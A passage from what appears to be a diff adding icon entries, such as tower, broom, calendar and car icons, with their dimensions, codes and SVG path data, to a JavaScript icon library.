0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z"], + "broadcast-tower": [640, 512, [], "f519", "M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z"], + "broom": [640, 512, [], "f51a", "M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z"], + "brush": [384, 512, [], "f55d", "M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z"], + "bug": [512, 512, [], "f188", "M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z"], + "building": [448, 512, [], "f1ad", "M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z"], + "bullhorn": [576, 512, [], "f0a1", "M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z"], + "bullseye": [496, 512, [], "f140", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z"], + "burn": [384, 512, [], "f46a", "M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z"], + "bus": [512, 512, [], "f207", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "bus-alt": [512, 512, [], "f55e", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "business-time": [640, 512, [], "f64a", "M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z"], + "calculator": [448, 512, [], "f1ec", "M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z"], + "calendar": [448, 512, [], "f133", "M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z"], + "calendar-alt": [448, 512, [], "f073", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "calendar-check": [448, 512, [], "f274", "M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z"], + "calendar-day": [448, 512, [], "f783", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "calendar-minus": [448, 512, [], "f272", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z"], + "calendar-plus": [448, 512, [], "f271", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z"], + "calendar-times": [448, 512, [], "f273", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z"], + "calendar-week": [448, 512, [], "f784", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z"], + "camera": [512, 512, [], "f030", "M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z"], + "camera-retro": [512, 512, [], "f083", "M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z"], + "campground": [640, 512, [], "f6bb", "M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z"], + "candy-cane": [512, 512, [], "f786", "M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z"], + "cannabis": [512, 512, [], "f55f", "M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z"], + "capsules": [576, 512, [], "f46b", "M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z"], + "car": [512, 512, [], "f1b9", "M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"], + "car-alt": [480, 512, [], "f5de", "M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z"], + "car-battery": [512, 512, [], "f5df", "M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z"], + "car-crash": [640, 512, [], "f5e1", "M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z"], + "car-side": [640, 512, [], "f5e4", "M544 192h-16L419.22 